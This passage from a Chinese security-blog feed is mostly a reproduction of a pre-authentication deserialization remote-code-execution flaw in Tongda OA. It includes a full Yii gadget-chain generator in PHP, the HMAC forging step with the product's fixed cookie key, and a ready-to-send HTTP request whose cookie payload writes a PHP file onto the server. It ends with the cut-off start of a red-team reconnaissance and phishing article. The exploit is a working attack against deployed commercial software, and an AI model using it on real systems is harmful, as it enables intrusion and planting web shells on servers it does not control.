&#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;checkAccess</p>设置为调用php函数，如<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">system</p>执行命令；<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;id</p>设置执行内容，如命令<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">whoami</p>。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">run</span><span style="line-height: 26px;">()</span>    </span>{        <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;checkAccess) {            call_user_func(<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;checkAccess, <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;id);        }      ......</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">结合上面的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">trigger</p>方法，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">call_user_func</p>参数1可以设置为调用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">CreateAction</p>的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">run</p>方法，调用方式：<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">call_user_func([new CreateAction, &#39;run&#39;],&#39;a&#39;)</p>。如何给<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_events[&#39;afterOpen&#39;]</p>赋值，继续查看如下代码注释：</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">           <span style="color: #5c6370;font-style: italic;line-height: 26px;">//$this-&gt;&gt;_events[&#39;afterOpen&#39;] = $handler; //一重数组，$handler要求是数组</span>            <span style="color: #c678dd;line-height: 26px;">foreach</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_events[$name] <span style="color: #c678dd;line-height: 26px;">as</span> $handler) { <span style="color: #5c6370;font-style: italic;line-height: 26px;">//二重数组，$handler分为$handler[0]和handler[1]</span>                $event-&gt;data = $handler[<span style="color: #d19a66;line-height: 26px;">1</span>];<span style="color: #5c6370;font-style: italic;line-height: 26px;">//any</span>                call_user_func($handler[<span style="color: #d19a66;line-height: 26px;">0</span>],$event);               <span style="color: #5c6370;font-style: italic;line-height: 26px;">//call_user_func([new CreateAction,&#39;run&#39;],any); </span>                <span style="color: #5c6370;font-style: italic;line-height: 26px;">//三重数组，call_user_func调用类需要用数组传入，形如[new A(),...params]</span></p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">转换过来也就是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_events[&#39;afterOpen&#39;] = [[[new CreatAction, &#39;run&#39;],&#39;a&#39;]]</p>。</div><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;">0x02 漏洞复现</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;">1.生成反序列化链</h3><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">该链条效果为写入一个名为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">hgsd.php</p>的php文件，内容为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">&lt;?php echo 123;?&gt;</p>。输出反序列化payload的base64编码，解码并urlencode作为伪造的csrf token一部分数据。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">&lt;?php</span><span style="color: #5c6370;font-style: italic;line-height: 26px;">//step4</span><span style="color: #c678dd;line-height: 26px;">namespace</span> <span style="color: #61aeee;line-height: 26px;">yii</span>\<span style="color: #61aeee;line-height: 26px;">rest</span> {    <span style="color: #61aeee;line-height: 26px;">class</span> <span style="color: #61aeee;line-height: 26px;">CreateAction</span> {        <span style="color: #61aeee;line-height: 26px;">public</span> $<span style="color: #61aeee;line-height: 26px;">id</span>;        <span style="color: #c678dd;line-height: 26px;">public</span> $checkAccess;        <span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">__construct</span><span style="line-height: 26px;">()</span> </span>{            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;checkAccess = <span style="color: #98c379;line-height: 26px;">&#39;assert&#39;</span>;            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;id = <span style="color: #98c379;line-height: 26px;">&#34;file_put_contents(&#39;hgsd.php&#39;,&#39;&lt;?php echo 123;?&gt;&#39;)&#34;</span>;        }    }}<span style="color: #5c6370;font-style: italic;line-height: 26px;">//step3</span><span style="color: #c678dd;line-height: 26px;">namespace</span> <span style="color: #61aeee;line-height: 26px;">yii</span>\<span style="color: #61aeee;line-height: 26px;">base</span> {    <span style="color: #61aeee;line-height: 26px;">use</span> <span style="color: #61aeee;line-height: 26px;">yii</span>\<span style="color: #61aeee;line-height: 26px;">rest</span>\<span style="color: #61aeee;line-height: 26px;">CreateAction</span>;    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">Component</span> </span>{        <span style="color: #c678dd;line-height: 26px;">private</span> $_events = [];        <span style="color: #c678dd;line-height: 26px;">private</span> $_behaviors = <span style="color: #d19a66;line-height: 26px;">1</span>;        <span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">__construct</span><span style="line-height: 26px;">()</span> </span>{            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_events = [<span style="color: #98c379;line-height: 26px;">&#34;afterOpen&#34;</span> =&gt; [[[<span style="color: #c678dd;line-height: 26px;">new</span> CreateAction(), <span style="color: #98c379;line-height: 26px;">&#34;run&#34;</span>], <span style="color: #98c379;line-height: 26px;">&#34;a&#34;</span>]]];           <span style="color: #5c6370;font-style: italic;line-height: 26px;">//第二个&#34;a&#34;参数任意。</span>        }    }}<span style="color: #5c6370;font-style: italic;line-height: 26px;">//step2</span><span style="color: #c678dd;line-height: 26px;">namespace</span> <span style="color: #61aeee;line-height: 26px;">yii</span>\<span style="color: #61aeee;line-height: 26px;">redis</span> {    <span style="color: #61aeee;line-height: 26px;">use</span> <span style="color: #61aeee;line-height: 26px;">yii</span>\<span style="color: #61aeee;line-height: 26px;">base</span>\<span style="color: #61aeee;line-height: 26px;">Component</span>;    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">Connection</span> <span style="color: #c678dd;line-height: 26px;">extends</span> <span style="color: #e6c07b;line-height: 26px;">Component</span></span>{        <span style="color: #c678dd;line-height: 26px;">public</span> $redisCommands = [];        <span style="color: #c678dd;line-height: 26px;">public</span> $hostname = <span style="color: #98c379;line-height: 26px;">&#39;&#39;</span>;        <span style="color: #c678dd;line-height: 26px;">public</span> $port;        <span style="color: #c678dd;line-height: 26px;">public</span> $password;        <span style="color: #c678dd;line-height: 26px;">public</span> $username;        <span style="color: #c678dd;line-height: 26px;">public</span> $connectionTimeout;        <span style="color: #c678dd;line-height: 26px;">public</span> $dataTimeout;        <span style="color: #c678dd;line-height: 26px;">public</span> $database;        <span style="color: #c678dd;line-height: 26px;">public</span> $unixSocket;        <span style="color: #c678dd;line-height: 26px;">private</span> $_socket;        <span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">__construct</span><span style="line-height: 26px;">()</span>        </span>{            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;redisCommands = <span style="color: #c678dd;line-height: 26px;">array</span>(<span style="color: #98c379;line-height: 26px;">&#39;CLOSE CURSOR&#39;</span>);            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_socket = <span style="color: #c678dd;line-height: 26px;">false</span>;            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;hostname = <span style="color: #98c379;line-height: 26px;">&#39;127.0.0.1&#39;</span>;            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;port = <span style="color: #d19a66;line-height: 26px;">803</span>;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//能够连通的任意本地服务的端口</span>            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;unixSocket = <span style="color: #c678dd;line-height: 26px;">false</span>;            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;connectionTimeout = <span style="color: #d19a66;line-height: 26px;">5</span>;            <span style="color: #c678dd;line-height: 26px;">parent</span>::__construct();        }    }}<span style="color: #5c6370;font-style: italic;line-height: 26px;">// step1 </span><span style="color: #c678dd;line-height: 26px;">namespace</span> <span style="color: #61aeee;line-height: 26px;">yii</span>\<span style="color: #61aeee;line-height: 26px;">db</span> {    <span style="color: #61aeee;line-height: 26px;">use</span> <span style="color: #61aeee;line-height: 26px;">yii</span>\<span style="color: #61aeee;line-height: 26px;">redis</span>\<span style="color: #61aeee;line-height: 26px;">Connection</span>;    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">DataReader</span> </span>{        <span style="color: #c678dd;line-height: 26px;">private</span> $_statement;        <span style="color: #c678dd;line-height: 26px;">private</span> $_closed = <span style="color: #c678dd;line-height: 26px;">false</span>;        <span style="color: #c678dd;line-height: 26px;">private</span> $_row;        <span style="color: #c678dd;line-height: 26px;">private</span> $_index = <span style="color: #d19a66;line-height: 26px;">-1</span>;        <span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">__construct</span><span style="line-height: 26px;">()</span>        </span>{            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_statement = <span style="color: #c678dd;line-height: 26px;">new</span> Connection();        }    }    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">BatchQueryResult</span> </span>{        <span style="color: #c678dd;line-height: 26px;">public</span> $batchSize = <span style="color: #d19a66;line-height: 26px;">100</span>;        <span style="color: #c678dd;line-height: 26px;">public</span> $each = <span style="color: #c678dd;line-height: 26px;">false</span>;        <span style="color: #c678dd;line-height: 26px;">private</span> $_dataReader;        <span style="color: #c678dd;line-height: 26px;">private</span> $_batch;        <span style="color: #c678dd;line-height: 26px;">private</span> $_value;        <span style="color: #c678dd;line-height: 26px;">private</span> $_key;        <span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">__construct</span><span style="line-height: 26px;">()</span> </span>{            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_dataReader = <span style="color: #c678dd;line-height: 26px;">new</span> DataReader();        }            }}<span style="color: #5c6370;font-style: italic;line-height: 26px;">//start</span><span style="color: #c678dd;line-height: 26px;">namespace</span> {    <span style="color: #61aeee;line-height: 26px;">use</span> <span style="color: #61aeee;line-height: 26px;">yii</span>\<span style="color: #61aeee;line-height: 26px;">db</span>\<span style="color: #61aeee;line-height: 26px;">BatchQueryResult</span>;    <span style="color: #c678dd;line-height: 26px;">echo</span> base64_encode(serialize(<span style="color: #c678dd;line-height: 26px;">new</span> BatchQueryResult()));}</p></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;">2. 生成反序列化hash</h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对第一步生成的反序列化payload（base64已编码）进行hash计算，从而生成对应的csrf token另一部分数据。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">&lt;?php</span>$pureData=base64_decode(<span style="color: #98c379;line-height: 26px;">&#39;TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9&#39;</span>);$calculatedHash = hash_hmac(<span style="color: #98c379;line-height: 26px;">&#39;sha256&#39;</span>,$pureData,<span style="color: #98c379;line-height: 26px;">&#39;tdide2&#39;</span>,<span style="color: #c678dd;line-height: 26px;">false</span>); <span style="color: #5c6370;font-style: italic;line-height: 26px;"># yii general/appbuilder/config/web.php cookieValidationKey 固定值</span><span style="color: #c678dd;line-height: 26px;">echo</span>($calculatedHash);</p></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;">3.http报文（漏洞验证）</h3><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对数据包请求方式没有限制，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">get和post</p>方式都可以。伪造的csrf token格式是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode</p>。按照payload格式拼接完毕后，在发送如下请求：</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">POST /general/appbuilder/web/portal/gateway/? HTTP/1.1Host: x.x.x.xCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7DConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0</p></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">执行成功后响应500，响应体如下图所示：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3731481481481482" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5da91092&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCf4f2TtyGq6KhibpjRc6JKA7jrO8awxLmT4iaTQlyLUEtvydKiasKqsXUsUB6K85Uj7mZSVtmzVjm1Dg%2F640%3Fwx_fmt%3Dpng"/></p><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">文件生成目录：<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/general/appbuilder/web/</p>，上述生成的poc文件目录是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/general/appbuilder/web/hgsd.php</p>。</div><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;">Reference</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">漏洞挖掘发布者：<a href="https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&amp;mid=2247486082&amp;idx=1&amp;sn=f4e73271d9c8dd97c7662c05d17101a9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);font-weight: bold;border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">烽火台实验室-【新】通达OA前台反序列化漏洞分析</a></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3196a3ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCf4f2TtyGq6KhibpjRc6JKA7OoHElVMeefsHb6IBibWgfLFYH6wkHH1MkQ7iaNwdYTdeDQWucd0jF4LQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5da91092&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCf4f2TtyGq6KhibpjRc6JKA7jrO8awxLmT4iaTQlyLUEtvydKiasKqsXUsUB6K85Uj7mZSVtmzVjm1Dg%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="https://xz.aliyun.com/t/12855">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fd4f7a2a&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483951%26idx%3D1%26sn%3D99d21c14d121ffe4d9b4d2f62ff1cfea">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 13 Oct 2023 17:03:00 +0800</pubDate>
    </item>
    <item>
      <title>红队信息收集方法</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483921&amp;idx=1&amp;sn=536b742bad0603335f4a5042cf620261</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2023-08-09 11:00</span> <span style="display: inline-block;">中国香港</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=72a2a323&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCejkVGCMfib4iauHeFBsWoibMlibtKqXKhBSTGQDoHxmyQrdqSzm6gTNt5z1rx2QFKyEJFhQnjXtorjCQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 24px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="text-decoration:line-through;">面向国内企业的信息收集及钓鱼方式（瞎说）</span></h1><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">企查查、爱企查等各类企业查询大型公司子公司的账号都可以从淘宝购买，只看100%控股的子公司</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">子公司拿到服务器权限是否有可能在母公司内网</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 